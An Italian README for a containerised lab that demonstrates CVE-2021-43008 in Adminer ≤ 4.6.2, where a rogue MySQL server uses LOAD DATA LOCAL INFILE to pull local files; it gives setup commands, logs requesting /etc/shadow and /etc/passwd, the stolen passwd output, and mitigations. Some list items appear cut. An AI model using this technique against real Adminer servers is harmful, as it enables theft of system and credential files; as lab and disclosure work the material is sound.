
Ambiente dimostrativo per la vulnerabilità CVE-2021-43008 di Adminer: osservare l'impatto reale e testare misure di mitigazione.
Adminer è uno strumento web (PHP) che permette di amministrare facilmente database MySQL, PostgreSQL, SQLite o SQL Server. Viene spesso utilizzato come alternativa leggera a phpMyAdmin.
Versioni interessate: Adminer ≤ 4.6.2
Adminer consente la connessione a qualsiasi server MySQL remoto. Tuttavia, durante la connessione a un server MySQL, il client (in questo caso Adminer) accetta:
Adminer non convalida correttamente le risposte del server MySQL nelle versioni vulnerabili.
Risultato: Un server MySQL controllato da un attaccante può chiedere:
“Leggi questo file locale sulla macchina o sul contenitore che ospita Adminer e inviamelo.”
Questo meccanismo è legato al pacchetto MySQL:
0xFB | filename → attiva la lettura locale del file.
Adminer 4.6.2 permetteva a un utente di specificare un server MySQL esterno e di connettersi liberamente. Tuttavia, MySQL permetteva inoltre — di default — l’uso di:
LOAD DATA LOCAL INFILEQuindi: Adminer → si connette al server malintenzionato → il server malintenzionato richiede un file → Adminer lo invia.
Questa è l’essenza della vulnerabilità.
L’attaccante deve:
LOAD DATA LOCAL INFILE.Non è necessaria alcuna password di root per esfiltrare un file locale: è Adminer stesso a eseguire l’azione come applicazione PHP sul server target.
L’attaccante può:
Con le credenziali MySQL rubate (fase secondaria), può successivamente:
Il PoC viene eseguito in un ambiente isolato e containerizzato per evitare qualsiasi rischio.
localhost:80800xFB filename per forzare Adminer a leggere un file locale.adminer_CVE-2021-43008/
│
├── README.md
├── docker-compose.yml
│
└──rogue_mysql_server/
├── rogue_mysql_server.py
├── requirements.txt
└── Dockerfile
docker compose build && docker compose up -d
In http://localhost:8080:
rogue_mysql:33306LOAD DATA LOCAL INFILE '/etc/passwd'./etc/passwd.stolen_file.txt.Usare il seguente comando per osservare i log del rogue:
docker logs -f rogue_mysql
Risultato atteso:
2025-11-27 16:59:54,248:INFO:Serving on ('0.0.0.0', 33306)
2025-11-27 17:02:55,213:INFO:Conn from: ('172.18.0.3', 37200)
2025-11-27 17:02:55,214:INFO:Last packet
2025-11-27 17:02:55,214:INFO:Query
2025-11-27 17:02:55,214:INFO:Requesting file: /etc/shadow
2025-11-27 17:02:55,215:INFO:-- Received file data
2025-11-27 17:02:55,215:INFO:Result length: 1 bytes
2025-11-27 17:02:55,216:INFO:Last packet
2025-11-27 17:02:55,216:INFO:Query
2025-11-27 17:02:55,216:INFO:Requesting file: /etc/passwd
2025-11-27 17:02:55,216:INFO:-- Received file data
2025-11-27 17:02:55,217:INFO:Result length: 920 bytes
2025-11-27 17:02:55,217:INFO:File content received: 919 bytes
2025-11-27 17:02:55,217:INFO:File saved to stolen_file.txt
Consultare il contenuto del file stolen_file.txt:
docker exec -it rogue_mysql sh
Una volta all’interno del contenitore, puoi visualizzare i contenuti dei file, incluso stolen_file.txt
# ls
mysql.log requirements.txt rogue_mysql_server.py stolen_file.txt
# cat stolen_file.txt
Risultato:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
Questo risultato dimostra inequivocabilmente la vulnerabilità.
Soluzione più affidabile: Passare ad Adminer ≥ 4.6.3
Le versioni successive correggono il comportamento di rete.
A partire da Adminer 4.7.x, sono state introdotte diverse protezioni:
Adminer ora proibisce di default LOAD DATA LOCAL INFILE
Ovvero:
→ Risultato: il tuo rogue MySQL non può più esfiltrare file.
Adminer filtra le azioni del client prima di inviarle al server
Questo impedisce alle connessioni esterne di utilizzare funzioni pericolose.
Meccanismi aggiuntivi di validazione dell’input
Le nuove versioni verificano:
Limitare Adminer ai soli host interni:
L’Adminer di produzione deve sempre puntare a un MySQL interno.
LOCAL INFILE lato MySQLImpedisce il furto tramite client MySQL legittimo:
[mysqld]
local_infile=0
o:
SET GLOBAL local_infile=0;
Adminer non deve essere accessibile su Internet.
In produzione:
Adminer va considerato uno strumento temporaneo:
CVE-2021-43008 è una vulnerabilità critica di Adminer ≤ 4.6.2 che permette:
È una dimostrazione perfetta dell’importanza: